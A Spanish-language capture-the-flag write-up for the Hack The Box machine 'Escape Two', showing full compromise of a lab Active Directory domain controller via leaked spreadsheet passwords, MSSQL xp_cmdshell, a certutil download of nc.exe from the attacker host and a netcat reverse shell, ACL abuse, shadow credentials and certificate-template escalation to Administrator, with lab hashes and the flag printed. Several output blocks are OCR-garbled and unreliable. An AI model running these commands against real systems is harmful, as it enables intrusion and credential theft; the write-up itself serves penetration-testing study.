
Máquina Escape Two Hack The Box Easy

Por primera vez en mi vida veo que hackthebox nos facilita las credenciales de un usuario para vulnerar el active directory. Vamos a ver por donde nos conduce este reto



```
jouker@joukerm)-[~]
$ ping -c 1 10.10.11.51
PING 10.10.11.51 (10.10.11.51) 56(84) bytes of data.
64 bytes from 10.10.11.51: icmp_seq=1 ttl=127 time=40.0 ms
--- 10.10.11.51 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 39.955/39.955/39.955/0.000 ms
```

Realizamos el Nmap para ver los puertos que tiene abierto, como es habitual podemos ver los 900 puertos abiertos en un Domain Controller. Nos llama la atención el puerto 88 kerberos y el 5985 winrm, aparte de los habituales e imprescindibles como smb.

```
<u>sudo</u> nmap -p- --min-rate 5000 -n -Pn -sV -sC -vvv 10.10.11.51 -oN scan.txt
[sudo] contraseña para jouker:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-11 20:54 CEST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed
Initiating SYN Stealth Scan at 20:54
Scanning 10.10.11.51 [65535 ports]
Discovered open port 445/tcp on 10.10.11.51
Discovered open port 53/tcp on 10.10.11.51
Discovered open port 135/tcp on 10.10.11.51
Discovered open port 139/tcp on 10.10.11.51
Discovered open port 49741/tcp on 10.10.11.51
Discovered open port 88/tcp on 10.10.11.51
Discovered open port 49802/tcp on 10.10.11.51
Discovered open port 49720/tcp on 10.10.11.51
Discovered open port 49689/tcp on 10.10.11.51
Discovered open port 5985/tcp on 10.10.11.51
Discovered open port 49693/tcp on 10.10.11.51
Discovered open port 49665/tcp on 10.10.11.51
Discovered open port 9389/tcp on 10.10.11.51
Discovered open port 49667/tcp on 10.10.11.51
Discovered open port 1433/tcp on 10.10.11.51
Discovered open port 3269/tcp on 10.10.11.51
Discovered open port 49666/tcp on 10.10.11.51
Discovered open port 464/tcp on 10.10.11.51
Discovered open port 49664/tcp on 10.10.11.51
Discovered open port 49698/tcp on 10.10.11.51
Discovered open port 47001/tcp on 10.10.11.51
```

Nombre del dominio:

```
21XZSIqShMXzXmLTW/G+LzqK3U3VTcKo0yUKqmLlKyZXzQ+kYVLqgOOX

_----END CERTIFICATE----

3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)

_ssl-date: 2025-04-11T18:56:45+00:00; +2s from scanner time.

_ssl-cert: Subject: commonName=DCO1.sequel.htb

| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb

| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:61332:e977:2975:7f5e:6990:1ced:528e:aac5
| ----BEGIN CERTIFICATE----
```

Obviamente si nos dan credenciales habrá que aprovecharlo, pero igualmente nos quedamos con que el guest se encuentra desactivado.

```
| Touker® | Touk
```

Tenemos bastantes directorios por descubrir y mucha posible enumeración por delante, antes de hacer nada mas voy a asegurarme de a ver si tengo acceso a otros usuarios.

```
| SMB | 10.10.11.51 | 445 | DC01 | Expert | Smb | 10.10.11.51 | 445 | DC01 | Expert | Smb | 10.10.11.51 | Expert | Expert
```

Efectivamente ya tenemos un listado de usuarios probables para realizar un as-rep roast attack.

Creamos listado de archivos y vamos a comprobar seguidamente si son vulnerables:

```
(jouker joukerm) - [~/temporal]
$ netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --users | awk '{print $5}' > users.txt

(jouker joukerm) - [~/temporal]
$ cat users.txt
[*]
[+]
-Username-
Administrator
Guest
krbtgt
michael
ryan
oscar
sql_svc
rose
ca_svc
[*]
```

Desde luego tan fácil no podía ser...

```
$ impacket-GetNPUsers -usersfile users.txt -request -format hashcat -dc-ip 10.10.11.51 'sequel.htb/'
Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC and its affiliated companies

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow(bjects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).

now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User michael doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ryan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User rose doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ca_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Seguimos a ver si hay suerte y vemos algo interesante a través de smbmap de forma recursiva con los archivos que hemos visualizado antes.

El -r lo pongo para que me liste todo sin necesidad de entrar dentro y así evitar algo de tiempo innecesario.

No parece haber info relevante en los últimos recursos compartidos de momento...

```
NETLOGON
                                                             READ ONLY
                                                                             Logon server share
    ./NETLOGON
    dr--r--r--
                              0 Sat Jun 8 18:39:53 2024
                              0 Sat Jun 8 18:39:53 2024
    dr--r--r--
    SYSV0L
                                                                             Logon server share
    ./SYSV0L
                              0 Sat Jun 8 18:39:53 2024
                              0 Sat Jun 8 18:39:53 2024
    dr--r--r--
                                         8 18:39:53 2024
    dr--r--r--
                              0 Sat Jun
                                                             sequel.htb
                                                             READ ONLY
    Users
    ./Users
    dw--w--w-
                              0 Sun Jun
                                         9 15:42:11 2024
                              0 Sun Jun
                                         9 15:42:11 2024
    dw--w--w--
                              0 Sun Jun 9 13:17:29 2024
                                                             Default
    dw--w--w--
                            174 Sun Jun
                                         9 04:27:10 2024
                                                             desktop.ini
    fr--r--r--
Closed 1 connections
```

Hay uno que si que llama algo más la atención.

Se me olvidaba un pequeño detalle, el asreproast es para cuando no tenemos user password, pero claro, al no estar acostumbrado se me habia olvidado el kerberoasting, ese pequeño detalle puede llegar a ser relevante.

Extraño, con el rockyou no he sacado absolutamente nada, osea tengo los hashes pero no tengo los passwords, deberia usar otros diccionarios de fuerza bruta? Harían esto en esta máquina?

```
-(jouker@joukerm)-[~/temporal]
  __$ nano sql_svc
       —(jouker∰joukerm)-[~/temporal]
 ___ s nano ca_svc
      —(jouker⊛joukerm)-[~/temporal]
 (jouker jouker m)-[~/temporat]

$\frac{\sudo}{\sudo} \text{john} \text{--wordlist=/usr/share/wordlists/rockyou.txt } \frac{\sql_svc}{\sql_sudo} \text{john} \text{--wordlist=/usr/share/wordlists/rockyou.txt} \text{ } \frac{\sql_svc}{\sql_sudo} \text{ } \te
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Og 0:00:00:10 42.24% (ETA: 21:16:15) Og/s 616550p/s 616550c/s 616550C/s liryone..liquid2309 Og 0:00:00:17 74.14% (ETA: 21:16:14) Og/s 624655p/s 624655c/s 624655C/s SWAGON..SURRELL
0g 0:00:00:22 DONE (2025-04-11 21:16) 0g/s 629940p/s 629940c/s 629940C/s !!12Honey..*7iVamos!
Session completed.
        -(jouker⊕joukerm)-[~/temporal]
 $ sudo john --wordlist=/usr/share/wordlists/rockyou.txt ca_svc
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

0g 0:00:00:09 39.82% (ETA: 21:16:43) 0g/s 647046p/s 647046c/s 647046C/s manga8246642..maneepaul

0g 0:00:00:15 67.14% (ETA: 21:16:43) 0g/s 642029p/s 642029c/s 642029C/s biggins93..bigfoot1133

0g 0:00:00:22 DONE (2025-04-11 21:16) 0g/s 641204p/s 641204c/s 641204C/s !!12Honey..*7iVamos!
Session completed.
```

Intento abrir los documentos xlsx en oppenoffice de kali y no funciona, lo mismo pasa con el pc de sobremesa despues de pasarme los archivos.



Creo que nos han engañado ya que lo que tenemos realmente no son archivos excel si no que tenemos archivos .zip, juegan a lo bajo esta vez.

```
total 36

-rw-r--r-- 1 jouker jouker 10217 abr 11 21:11 accounting_2024.xlsx

-rw-rw-r--- 1 jouker jouker 6780 abr 11 21:11 accounts.xlsx

-rw-rw-r--- 1 jouker jouker 2098 abr 11 21:15 ca_svc

drwxrwxr-x 4 jouker jouker 4096 abr 2 12:32 Rubeus

-rw-rw-r-- 1 jouker jouker 2100 abr 11 21:15 sq_svc

-rw-rw-r-- 1 jouker jouker 2100 abr 11 21:15 sq_svc

-rw-rw-r-- 1 jouker jouker 2100 abr 11 21:03 users.txt

[jouker@joukerm]-[~/temporal]

s file accounts.xlsx

| jouker spice for the data, made by v2.0, extract using at least v2.0, last modified, last modified Sun, Jun 09 2024 10:47:44, uncompressed size 681, method=deflate

[jouker@joukerm]-[~/temporal]

s file accounting_2024.xlsx

accounts.xlsx

| Zip archive data | made by v4.5, extract using at least v2.0, last modified, last modified Sun, Jan 01 1980 00:00:00, uncompressed size 1284, method=deflate

[jouker@joukerm]-[~/temporal]
```

Hay bastantes cosas dentro del archivo, nunca hay que descartar que sea un rabbit hole.

```
-(jouker®joukerm)-[~/temporal/rola1]
s unzip contable2024.zip
Archive: contable2024.zip
file #1: bad zipfile offset (local header sig):
  inflating: _rels/.rels
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/theme/theme1.xml
  inflating: xl/styles.xml
  inflating: xl/sharedStrings.xml
  inflating: xl/worksheets/_rels/sheet1.xml.rels
  inflating: xl/printerSettings/printerSettings1.bin
  inflating: docProps/core.xml
  inflating: docProps/app.xml
  -(jouker⊕joukerm)-[~/temporal/rola1]
_$`ls -l
total 24
-rw-r--r-- 1 jouker jouker 10217 abr 11 21:11 contable2024.zip
drwxrwxr-x 2 jouker jouker 4096 abr 11 21:33 docProps
drwxrwxr-x 2 jouker jouker 4096 abr 11 21:33 _rels
drwxrwxr-x 6 jouker jouker 4096 abr 11 21:33 xl
  -(jouker®joukerm)-[~/temporal/rola1]
```

Hay un password? Habrá que hace password sptying con esto?

```
| Journal of Journal of Journal of Tournal o
```

He abierto este archivo en un explorador web para verlo un poquito más ordenado y hay varios passwords y también hay varios usuarios. Por lo que probare con todos estos passwords y los usuarios que he obtenido.

```
<sst count="25" uniqueCount="24">
-<si>>
   <t xml:space="preserve">First Name</t>
  </si>
-<si>>
    <t xml:space="preserve">Last Name</t>
  </si>
-<si>>
   <t xml:space="preserve">Email</t>
  </si>
-<si>
    <t xml:space="preserve">Username</t>
  </si>
-<si>
   <t xml:space="preserve">Password</t>
  </si>
-<si>>
   <t xml:space="preserve">Angela</t>
  </si>
-<si>
   <t xml:space="preserve">Martin</t>
  </si>
-<si>
    <t xml:space="preserve">angela@sequel.htb</t>
  </si>
-<si>
   <t xml:space="preserve">angela</t>
  </si>
-<si>>
    <t xml:space="preserve">0fwz7Q4mSpurIt99</t
```

Hay varias contraseñas que me he apuntado dentro de un contraseñas.txt, después de eso intento hacer password sprying en cada uno a ver que tal, hay suerte con el usuario oscar

```
| Stat pass.txt | Stat pass.tx
```


Nada diferente en los shares:

```
-$ smbmap -H 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
 t] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.11.51:445 Name: sequel.htb
                                                            Status: Authenticated
        Disk
                                                                     Permissions
                                                                                       Comment
                                                                     READ ONLY
        Accounting Department
        ADMIN$
                                                                                       Remote Admin
                                                                                       Default share
        IPC$
                                                                                      Remote IPC
        NETLOGON
                                                                     READ ONLY
                                                                                       Logon server share
        SYSV0L
                                                                                       Logon server share
                                                                     READ ONLY
        Users
[*] Closed 1 connections
  -(jouker®joukerm)-[~/temporal]
```


Bueno esto lo aprendí en la anterior máquina de hackthebox intelligence, que era el hecho de usar bloodhound en caso de no tener acceso a la máquina víctima, seguramente lo hubiese podido hacer al principio pero me da la sensación de que esta información podra llegar a ser relevante en el futuro ya que me he autenticado como oscar.

```
| Jouker® Joukerm | [-/temporal | Sython | Jouker | Jouke
```


Subimos la información recolectada o bloodhound, vamos a ver si encontramos algo de interés con los 2 usuarios vulnerados.



Con los 2 usuarios conseguidos no me marcan ninguna ruta, y ahora tengo todo esto de aquí montado, creo que el objetivo es ryan.



Parece que confirmo que el objetivo final es RYAN, solo que no se aún que hacer con este muchacho



Es cierto que se me ha olvidado que existia este puerto SQL, al quedarme sin opciones tambien voy a intentar explorar este puerto de aquí a ver que puedo hacer.

```
| _sst date: 2025 04 11118:56:45:00:00; +2s from scanner time.

1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM

| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
| TCP port: 1433
```

Bueno, we are in

```
(jouker⊕joukerm)-[~/temporal]

$ cat pass tyt

MSSQLP@ssw0rd!

0Tw2/Q4mspurity9

86LxLBMgEWaKUnBG

Md9Wlq1E5bZnVDVo

(jouker⊕joukerm) [~/temporal]

$ impacket-mssglclient sa@10.10.11.51 -p 1433

Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC and its affiliated companies

Password:

[*] Encryption required, switching to TLS

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master

[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english

[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192

[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.

[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.

[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)

[*] Press help for extra shell commands
SQL (sa dbo@master)> ■
```

Puedo ejecutar comandas ahora, esta info la verdad es que nunca lo había hecho y la he sacado del GPT.



```
sql

EXEC xp_cmdshell 'whoami';

EXEC xp_cmdshell 'ipconfig';

EXEC xp_cmdshell 'certutil -urlcache -split -f http://<TU-IP>/nc.exe C:\Windows\Temp\nc.exe';
```

```
[1] Press help for extra shell commands
SQL (sa dbogmaster) show databases:

ERROR(DC01\SQLEXPRESS): Line 1: Could not find ctored procedure 'chow'.
SQL (sa dbogmaster) EXEC sp. configure 'show advanced options', 1:

INFO(DC01\SQLEXPRESS): Line 183: Configure 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbogmaster) EXEC sp. configure 'xp. cmdshell', 1:

INFO(DC01\SQLEXPRESS): Line 183: Configure 'xp. cmdshell', 1:

INFO(DC01\SQLEXPRESS): Line 183: Configure 'xp. cmdshell', 1:

INFO(DC01\SQLEXPRESS): Line 183: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbogmaster) RECONFIGURE;
SQL (sa dbogmaster) EXEC xp_cmdshell 'whoami'

sequel\sql svc

NULL

SQL (sa dbogmaster) EXEC xp_cmdshell 'tpconfig'

NULL

Windows IP Configuration

NULL

Ethernet adapter Ethernet0 2:

NULL

Connection-specific DNS Suffix :

IPv4 Address. . . . . : 10.10.11.51

Subnet Mask . . . . : 255.255.254.0
```

```
EXEC xp_cmdshell 'certutil -urlcache -split -f http://<TU-IP>/nc.exe C:\Windows\Temp\nc.exe';

O descarga un reverse shell como nc.exe , nishang , PowerShell , etc., desde tu máquina atacante.

Reverse Shell

Una vez tengas nc.exe o similar en el target:

En el servidor SQL:

sql

EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe <TU-IP> <PUERTO> -e cmd.exe';

En tu máquina:

bash

O Copiar >> Editar

nc -nlvp <PUERTO>
```

REVERSE SHELL CONSEGUIDA

```
(jouker@joukerm)-[~]
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.51] 55842
Microsoft Windows [Version 10.0.17763.6640]
(c) 2018 Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami
whoami
sequel\sql_svc

C:\Windows\system32>\_
```

Un posible password encontrado, me lo apunto aunque quizas ya lo tenia.

```
C:\SOL2019>findstr /si password *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt
ExpressAdv_ENU\sql-Configuration.INI:SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
C:\SQL2019>
```

Este password no lo tenia, volveré a probar con un password sprying a ver klk, no ahcer pinta de que por aquí fuese el ataque.





Esto me empieza a gustar, el password de ryan jajaja

Finalmente tenemos al evil-win rm disponible para atacar.

Con el mapa que teníamos de antes de bloodhound pues lo aprovecho ya que de DC01.SEQUEL.HTB hasta SEQUEL.htb el user ryan puede

hacer DCSYNC





Y asi obtenemos la flag con evilwinrm

```
*Evil-WinRM* PS C:\Users\ryan\Desktop> nltest /dclist:sequel.htb

Get list of DCs in domain 'sequel.htb' from '\\DC01.sequel.htb'.

DC01.sequel.htb [PDC] [DS] Site: Default-First-Site-Name

The command completed successfully

*Evil-WinRM* PS C:\Users\ryan\Desktop>
```

No he podido encontrar nada por mi cuenta adicional con la habitual escalada de privilegios así que he ido al discord de savitar a que me den alguna idea, me han facilitado esta idea.



RYAN tiene writeowner sobre el user ca_svc sequel.htb

```
(jouker@joukerm)-[~/temporal]
$ impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51
/usr/share/doc/python3-impacket/examples/owneredit.py:87: SyntaxWarning: invalid escape sequence '\V'
'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines'.

Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC

[*] Current owner information below
[*] - SID: S-1-5-21-548670397-972687484-3496335370-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins, CN=Users, DC=sequel, DC=htb
[*] OwnerSid modified successfully!
```

```
$ impacket-dacledit -action write -rights FullControl -principal 'ryan' -target 'ca_svc' 'sequel.h
usr/share/doc/python3-impacket/examples/dacledit.py:101: SyntaxWarning: invalid escape sequence '\V
'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines',
Jacobs Wirthold MACHINE, Withola Machines; //usr/share/doc/python3-impacket/examples/dacledit.py:110: SyntaxWarning: invalid escape sequence '\P' 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', /usr/share/doc/python3-impacket/examples/dacledit.py:111: SyntaxWarning: invalid escape sequence '\R' 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users',
'S-1-5-32-555': 'BUILTIN\Remote Desktop Users',
/usr/share/doc/python3-impacket/examples/dacledit.py:112: SyntaxWarning: invalid escape sequence '\I'
'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders',
/usr/share/doc/python3-impacket/examples/dacledit.py:114: SyntaxWarning: invalid escape sequence '\P'
'S-1-5-32-558': 'BUILTIN\Performance Monitor Users',
/usr/share/doc/python3-impacket/examples/dacledit.py:115: SyntaxWarning: invalid escape sequence '\P'
'S-1-5-32-559': 'BUILTIN\Performance Log Users',
/usr/share/doc/python3-impacket/examples/dacledit.py:113. SyntaxWarning: invalid escape sequence '\W'
'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group',
/usr/share/doc/python3-impacket/examples/dacledit.py:117: SyntaxWarning: invalid escape sequence '\T'
       S-1-5-32-561': 'BUILTIN\Terminal Server License Servers
 usr/share/doc/python3-impacket/examples/dacledit.py:118: SyntaxWarning: invalid escape sequence '\D'
'S-1-5-32-562': 'BUILTIN\Distributed COM Users',
/usr/share/doc/python3-impacket/examples/dacledit.py:119: SyntaxWarning: invalid escape sequence '\C'
'S-1-5-32-569': 'BUILTIN\Cryptographic Operators',
'S-1-5-32-569': 'BUILTIN\Cryptographic Operators',
/usr/share/doc/python3-impacket/examples/dacledit.py:120: SyntaxWarning: invalid escape sequence '\E'
'S-1-5-32-573': 'BUILTIN\Event Log Readers',
/usr/share/doc/python3-impacket/examples/dacledit.py:121: SyntaxWarning: invalid escape sequence '\C'
'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access',
 usr/share/doc/python3-impacket/examples/dacledit.py:122: SyntaxWarning: invalid escape sequence '\R'
         1-5-32-575': 'BUILTIN\RDS Remote Access Serve
/usr/share/doc/python3-impacket/examples/dacledit.py:123: SyntaxWarning: invalid escape sequence '\R'
'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers',
/usr/share/doc/python3-impacket/examples/dacledit.py:124: SyntaxWarning: invalid escape sequence '\R'
      S-1-5-32-577': 'BUILTIN\RDS Management Server
 usr/share/doc/python3-impacket/examples/dacledit.py:125: SyntaxWarning: invalid escape sequence '\H'
'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators',
/usr/share/doc/python3-impacket/examples/dacledit.py:126: SyntaxWarning: invalid escape sequence '\A'
'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators',
 usr/share/doc/python3-impacket/examples/dacledit.py:127: SyntaxWarning: invalid escape sequence '\R'
'S-1-5-32-580': 'BUILTIN\Remote Management Users',
Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC and its affiliated companies
       DACL backed up to dacledit-20250413-122726.bak
      DACL modified successfully!
```

Password entrado con éxito

(jouker⊛joukerm)-[~/temporal/bloodyAD]

bloodyAD

```
sequel.htb" -u 'ryan' -p 'WqSZAF6CysDQbGb3' set password "ca_svc" "Admin1234%"
[+] Password changed successfully!
        (jouker⊕ joukerm)-[~/temporal/pywhisker/pywhisker]
python3 pywhisker.py -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 --target "CA_SVC" --action "add" --filename CACert --export PEM
Searching for the target account
Target user found: CN=Certification Authority, CN=Users, DC=sequel, DC=htb
 *] Target user found: CN=Certification Authority,CN=Users,DC=sequel,DC=htb

*] Generating certificate

*] Certificate generated

*] Generating KeyCredential

*] KeyCredential generated with DeviceID: ce288b7b-ae4d-da32-dba7-7d1bd094abf5

*] Updating the msDS-KeyCredentialLink attribute of CA_SVC

[+] Updated the msDS-KeyCredentialLink attribute of the target object

[+] Saved PEM certificate at path: CACert_cert.pem

[+] Saved PEM private key at path: CACert_priv.pem

*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
```

```
(jouker@joukerm)-[~/temporal/pywhisker/pywhisker]

$ python3 ../../PKINITtools/gettgtpkinit.py -cert-p

2025-04-13 14:22:51,484 minikerberos INFO Loading
                                                                                                                                   cert_pem CACert_cert.pem -key-pem CACert_priv.pem sequel.htb/ca_svc ca_svc.ccache
                                                                                                                                Loading certificate and key from file from file
2025-04-13 14:22:51,484 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-04-13 14:22:51,497 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-04-13 14:23:07,450 minikerberos INFO AS-REP encryption key (you might need this later):
2025-04-13 14:23:07,450 minikerberos INFO 9ba9069b4e722dd1b7b14101ba7be0cf3602ecdd143cec4012a9c745799b7237
INFO:minikerberos:9ba9069b4e722dd1b7b14101ba7be0cf3602ecdd143cec4012a9c745799b7237
2025-04-13 14:23:07,453 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
```

```
(jouker®joukerm)-[~/temporal/pywhisker/pywhisker]
$ export KRB5CCNAME=ca svc.ccache
```

```
(jouker@ joukerm)-[~/temporal/pywhisker/pywhisker]

$ python3 ../../PKINITtools/gettgtpkinit.py
2025-04-13 14:47:35,171 minikerberos INFO
INFO:minikerberos:Loading certificate and key from file
2025-04-13 14:47:35,183 minikerberos INFO
INFO:minikerberos:Requesting TGT
2025-04-13 14:47:50,387 minikerberos INFO
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-04-13 14:47:50,388 minikerberos INFO
INFO:minikerberos:da3685ac6672cb6fb256530d1cc4e93ea05494704a669dd0778437ac9ed83e36
 2025-04-13 14:47:50,390 minikerberos INFO INFO:minikerberos:Saved TGT to file
                                                                                                                                                                      Saved TGT to file
 (jouker@joukerm)-[~/temporal/pywhisker/pywhisker] $ python3 ../../PKINITtools/getnthash.py -key fbb8b3634684406685a7b198401b7625af16eb2fc50c0d171a34216aed4c0ff2 sequel.htb/CA_SVC Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC and its affiliated companies
              Using TGT from cache
  [*] Requesting ticket to self with PAC
[-] ciphertext integrity failure
                  iouker@joukerm)-[~/temporal/pywhisker/pywhisker
     s python3 ../../PKINITtools/getnthash.py -key da3685ac6672cb6fb256530d1cc4e93ea05494704a669dd0778437ac9ed83e36 sequel.htb/CA_SVC
 Impacket vu.13.0.dev0+20250220
                                                                                                                93348.6315eba5 -
                                                                                                                                                                           copyrignt Fortra, LLC and its attiliated companie
              Using TGT from cache
  [*] Requesting ticket to self with PAC
Recovered NT Hash
 3b181b914e7a9d5508ea1e20bc2b7fce
```

```
[/jouker® joukerm)-[~/temporal/pywhisker/pywhisker]
$ certipy-ad find -vulnerable -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51

Certipy v4.8.2 - by Oliver Lyak (Ly4k)

[*] Finding certificate templates
[*] Found 3 certificate templates
[*] Found 3 certificate authorities
[*] Found 1 certificate authorities
[*] Found 12 enabled certificate templates
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[*] Greror while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA' via RRP
[*] Saved BloodHound data to '20250413145147_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved 150N output to '20250413145147_Certipy.json'
```

cat *certipy.txt

```
SEQUEL.HTB\Cert Publishers

Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers

Write Property Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers

[!] Vulnerabilities
ESC4 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions
```

```
[*] Saved old configuration for 'DunderMifflinAuthentication'

[*] Successfully updated 'DunderMifflinAuthentication'

[*] Successfully updated 'DunderMifflinAuthentication'

[*] Successfully updated 'DunderMifflinAuthentication'
```

```
[*] Caveder Distriction of Control of Contro
```

```
(jouker® joukerm)-[~/temporal/pywhisker/pywhisker]
$ certipy-ad auth -pfx administrator.pfx -domain sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

(jouker® joukerm)-[~/temporal/pywhisker/pywhisker]
```

```
-$ evil-winrm -i 10.10.11.51 -u 'administrator' -H 7a8d4e04986afa8ed4060f75e5a0b3ff
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                   PS C:\Users\Administrator\Documents> cd ..
PS C:\Users\Administrator> dir
Mode
                              LastWriteTime
                                                                Length Name
                      1/4/2025
1/4/2025
1/4/2025
1/4/2025
1/4/2025
1/4/2025
1/4/2025
1/4/2025
1/4/2025
1/4/2025
1/4/2025
                                       7:58 AM
7:58 AM
7:58 AM
7:58 AM
                                                                           3D Objects
d-r---
d-r---
                                                                           Contacts
Desktop
Documents
                                        7:58 AM
8:31 AM
7:58 AM
7:58 AM
7:58 AM
7:58 AM
7:58 AM
7:58 AM
                                                                           Downloads
                                                                           Favorites
Links
Music
Pictures
                                                                           Saved Games
d-r---
                                                                            Searches
                   PS C:\Users\Administrator> cd Desktop
PS C:\Users\Administrator\Desktop> type root.txt
96cabc527376b1942f0528796f35f937
                   PS C:\Users\Administrator\Desktop>
```